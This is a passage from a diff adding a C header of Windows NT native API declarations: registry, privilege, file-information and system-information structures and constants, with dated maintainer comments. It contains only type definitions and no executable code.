+ PlugPlayControlResetDevice, + PlugPlayControlHaltDevice, + PlugPlayControlGetBlockedDriverList, + MaxPlugPlayControl +} PLUGPLAY_CONTROL_CLASS, *PPLUGPLAY_CONTROL_CLASS; + +typedef +VOID +(*PPS_APC_ROUTINE) ( + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; + +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +// +// Value entry query structures +// 14.09.11 + +typedef struct _KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; // Variable size +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size +// Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; + +typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; + +// +// end of value info +// + +typedef enum _KEY_SET_INFORMATION_CLASS { + KeyWriteTimeInformation, + KeyUserFlagsInformation, + MaxKeySetInfoClass +} KEY_SET_INFORMATION_CLASS; + +#define SE_CREATE_TOKEN_NAME TEXT("SeCreateTokenPrivilege") +#define SE_ASSIGNPRIMARYTOKEN_NAME TEXT("SeAssignPrimaryTokenPrivilege") +#define SE_LOCK_MEMORY_NAME TEXT("SeLockMemoryPrivilege") +#define SE_INCREASE_QUOTA_NAME TEXT("SeIncreaseQuotaPrivilege") +#define SE_UNSOLICITED_INPUT_NAME TEXT("SeUnsolicitedInputPrivilege") +#define SE_MACHINE_ACCOUNT_NAME TEXT("SeMachineAccountPrivilege") +#define SE_TCB_NAME TEXT("SeTcbPrivilege") +#define SE_SECURITY_NAME TEXT("SeSecurityPrivilege") +#define SE_TAKE_OWNERSHIP_NAME TEXT("SeTakeOwnershipPrivilege") +#define SE_LOAD_DRIVER_NAME TEXT("SeLoadDriverPrivilege") +#define SE_SYSTEM_PROFILE_NAME TEXT("SeSystemProfilePrivilege") +#define SE_SYSTEMTIME_NAME TEXT("SeSystemtimePrivilege") +#define SE_PROF_SINGLE_PROCESS_NAME TEXT("SeProfileSingleProcessPrivilege") +#define SE_INC_BASE_PRIORITY_NAME TEXT("SeIncreaseBasePriorityPrivilege") +#define SE_CREATE_PAGEFILE_NAME TEXT("SeCreatePagefilePrivilege") +#define SE_CREATE_PERMANENT_NAME TEXT("SeCreatePermanentPrivilege") +#define SE_BACKUP_NAME TEXT("SeBackupPrivilege") +#define SE_RESTORE_NAME TEXT("SeRestorePrivilege") +#define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege") +#define SE_DEBUG_NAME TEXT("SeDebugPrivilege") +#define SE_AUDIT_NAME TEXT("SeAuditPrivilege") +#define SE_SYSTEM_ENVIRONMENT_NAME TEXT("SeSystemEnvironmentPrivilege") +#define SE_CHANGE_NOTIFY_NAME TEXT("SeChangeNotifyPrivilege") +#define SE_REMOTE_SHUTDOWN_NAME TEXT("SeRemoteShutdownPrivilege") +#define SE_UNDOCK_NAME TEXT("SeUndockPrivilege") +#define SE_SYNC_AGENT_NAME TEXT("SeSyncAgentPrivilege") +#define SE_ENABLE_DELEGATION_NAME TEXT("SeEnableDelegationPrivilege") +#define SE_MANAGE_VOLUME_NAME TEXT("SeManageVolumePrivilege") +#define SE_IMPERSONATE_NAME TEXT("SeImpersonatePrivilege") +// #define SE_CREATE_GLOBAL_PRIVILEGE TEXT("SeCreateGlobalPrivilege") +// #define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE TEXT("SeTrustedCredmanAccessPrivilege") +// #define SE_RELABEL_PRIVILEGE TEXT("SeReLabelPrivilege") +#define SE_CREATE_GLOBAL_NAME TEXT("SeCreateGlobalPrivilege") + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) + +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE + +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _CLIENT_ID32 +{ + ULONG UniqueProcess; + ULONG UniqueThread; +} CLIENT_ID32, *PCLIENT_ID32; + +typedef struct _CLIENT_ID64 +{ + ULONGLONG UniqueProcess; + ULONGLONG UniqueThread; +} CLIENT_ID64, *PCLIENT_ID64; + +#include + +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; + +#include + +// +// FILE_INFORMATION +// +//readded 17.09.11 EP_X0FF + +typedef struct _FILE_BASIC_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CreationTime; // ntddk wdm nthal + LARGE_INTEGER LastAccessTime; // ntddk wdm nthal + LARGE_INTEGER LastWriteTime; // ntddk wdm nthal + LARGE_INTEGER ChangeTime; // ntddk wdm nthal + ULONG FileAttributes; // ntddk wdm nthal +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; // ntddk wdm nthal + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + UCHAR DeletePending; + UCHAR Directory; +} FILE_STANDARD_INFORMATION; + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CurrentByteOffset; // ntddk wdm nthal +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; // ntddk wdm nthal + // ntddk wdm nthal +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION { // ntddk nthal + ULONG AlignmentRequirement; // ntddk nthal +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_NAME_INFORMATION { // ntddk + ULONG FileNameLength; // ntddk + WCHAR FileName[1]; // ntddk +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; // ntddk + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CreationTime; // ntddk wdm nthal + LARGE_INTEGER LastAccessTime; // ntddk wdm nthal + LARGE_INTEGER LastWriteTime; // ntddk wdm nthal + LARGE_INTEGER ChangeTime; // ntddk wdm nthal + LARGE_INTEGER AllocationSize; // ntddk wdm nthal + LARGE_INTEGER EndOfFile; // ntddk wdm nthal + ULONG FileAttributes; // ntddk wdm nthal +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; // ntddk wdm nthal + // ntddk wdm nthal +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { // ntddk nthal + ULONG FileAttributes; // ntddk nthal + ULONG ReparseTag; // ntddk nthal +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION { // ntddk nthal + BOOLEAN DeleteFile; // ntddk nthal +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_END_OF_FILE_INFORMATION { // ntddk nthal + LARGE_INTEGER EndOfFile; // ntddk nthal +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { // ntddk nthal + LARGE_INTEGER ValidDataLength; // ntddk nthal +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; // ntddk nthal + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + +// +// NtQuery(Set)EaFile +// +// The offset for the start of EaValue is EaName[EaNameLength + 1] +// + +// begin_ntddk begin_wdm + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +// end_ntddk end_wdm + +typedef struct _FILE_GET_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; + +// +// NtQuery(Set)QuotaInformationFile +// + +typedef struct _FILE_GET_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + +// +// NtQueryDirectoryFile return types: +// +// FILE_DIRECTORY_INFORMATION +// FILE_FULL_DIR_INFORMATION +// FILE_ID_FULL_DIR_INFORMATION +// FILE_BOTH_DIR_INFORMATION +// FILE_ID_BOTH_DIR_INFORMATION +// FILE_NAMES_INFORMATION +// FILE_OBJECTID_INFORMATION +// + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +typedef struct _FILE_OBJECTID_INFORMATION { + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } ; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + + +// +// SYSTEM_INFORMATION +// + +typedef struct _SYSTEM_GDI_DRIVER_INFORMATION +{ + UNICODE_STRING DriverName; + PVOID ImageAddress; + PVOID SectionPointer; + PVOID EntryPoint; + PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; + ULONG ImageLength; +} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION +{ + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + +// +// taken from http://www.acc.umu.se/~bosse/ntifs.h - contents are questionable. +// + +typedef enum _THREAD_STATE +{ + StateInitialized, + StateReady, + StateRunning, + StateStandby, + StateTerminated, + StateWait, + StateTransition, + StateUnknown +} THREAD_STATE; + +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + Spare2, + Spare3, + Spare4, + Spare5, + Spare6, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + MaximumWaitReason +} KWAIT_REASON; + +//FIXED 21.02.2011 size for x64/x86 +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + THREAD_STATE State; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION { + SYSTEM_THREAD_INFORMATION ThreadInfo; + PVOID StackBase; + PVOID StackLimit; + PVOID Win32StartAddress; + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + ULONG_PTR Reserved3; + ULONG_PTR Reserved4; +} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION; + +typedef struct _SYSTEM_POOL_ENTRY { + BOOLEAN Allocated; + BOOLEAN Spare0; + USHORT AllocatorBackTraceIndex; + ULONG Size; + union { + UCHAR Tag[4]; + ULONG TagUlong; + PVOID ProcessChargedQuota; + }; +} SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY; + +typedef struct _SYSTEM_POOL_INFORMATION { + SIZE_T TotalSize; + PVOID FirstEntry; + USHORT EntryOverhead; + BOOLEAN PoolTagPresent; + BOOLEAN Spare0; + ULONG NumberOfEntries; + SYSTEM_POOL_ENTRY Entries[1]; +} SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION; + +typedef struct _SYSTEM_POOLTAG { + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; + ULONG PagedAllocs; + ULONG PagedFrees; + SIZE_T PagedUsed; + ULONG NonPagedAllocs; + ULONG NonPagedFrees; + SIZE_T NonPagedUsed; +} SYSTEM_POOLTAG, *PSYSTEM_POOLTAG; + +typedef struct _SYSTEM_BIGPOOL_ENTRY { + union { + PVOID VirtualAddress; + ULONG_PTR NonPaged : 1; // Set to 1 if entry is nonpaged. + }; + SIZE_T SizeInBytes; + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; +} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY; + +typedef struct _SYSTEM_POOLTAG_INFORMATION +{ + ULONG Count; + SYSTEM_POOLTAG TagInfo[ 1 ]; +} SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION { + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG Count; + SYSTEM_POOLTAG TagInfo[ 1 ]; +} SYSTEM_SESSION_POOLTAG_INFORMATION, *PSYSTEM_SESSION_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_BIGPOOL_INFORMATION { + ULONG Count; + SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ 1 ]; +} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX +{ + PVOID Object; + ULONG UniqueProcessId; + ULONG HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG NumberOfHandles; + ULONG Reserved; + struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[ 1 ]; +} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; + +typedef struct _SYSTEM_SPECIAL_POOL_INFORMATION +{ + ULONG PoolTag; + ULONG Flags; +} SYSTEM_SPECIAL_POOL_INFORMATION, *PSYSTEM_SPECIAL_POOL_INFORMATION; + +typedef struct _SYSTEM_OBJECTTYPE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfObjects; + ULONG NumberOfHandles; + ULONG TypeIndex; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG PoolType; + UCHAR SecurityRequired; + UCHAR WaitableObject; + UNICODE_STRING TypeName; +} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION; + +typedef struct _SYSTEM_HIBERFILE_INFORMATION +{ + ULONG NumberOfMcbPairs; + LARGE_INTEGER Mcb[ 1 ]; +} SYSTEM_HIBERFILE_INFORMATION, *PSYSTEM_HIBERFILE_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + SIZE_T PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION { + ULONG ContextSwitches; + ULONG FindAny; + ULONG FindLast; + ULONG FindIdeal; + ULONG IdleAny; + ULONG IdleCurrent; + ULONG IdleLast; + ULONG IdleIdeal; + ULONG PreemptAny; + ULONG PreemptCurrent; + ULONG PreemptLast; + ULONG SwitchToIdle; +} SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION; + +typedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION { + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG ViewFailures; + SIZE_T NumberOfBytesAvailable; + SIZE_T NumberOfBytesAvailableContiguous; +} SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, *PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION; + +typedef struct _SYSTEM_INTERRUPT_INFORMATION { + ULONG ContextSwitches; + ULONG DpcCount; + ULONG DpcRate; + ULONG TimeIncrement; + ULONG DpcBypassCount; + ULONG ApcBypassCount; +} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; + +typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION { + ULONG Spare; + ULONG DpcQueueDepth; + ULONG MinimumDpcRate; + ULONG AdjustDpcThreshold; + ULONG IdealDpcRate; +} SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION; + +typedef struct _SYSTEM_LOOKASIDE_INFORMATION { + USHORT CurrentDepth; + USHORT MaximumDepth; + ULONG TotalAllocates; + ULONG AllocateMisses; + ULONG TotalFrees; + ULONG FreeMisses; + ULONG Type; + ULONG Tag; + ULONG Size; +} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; + +typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION { + 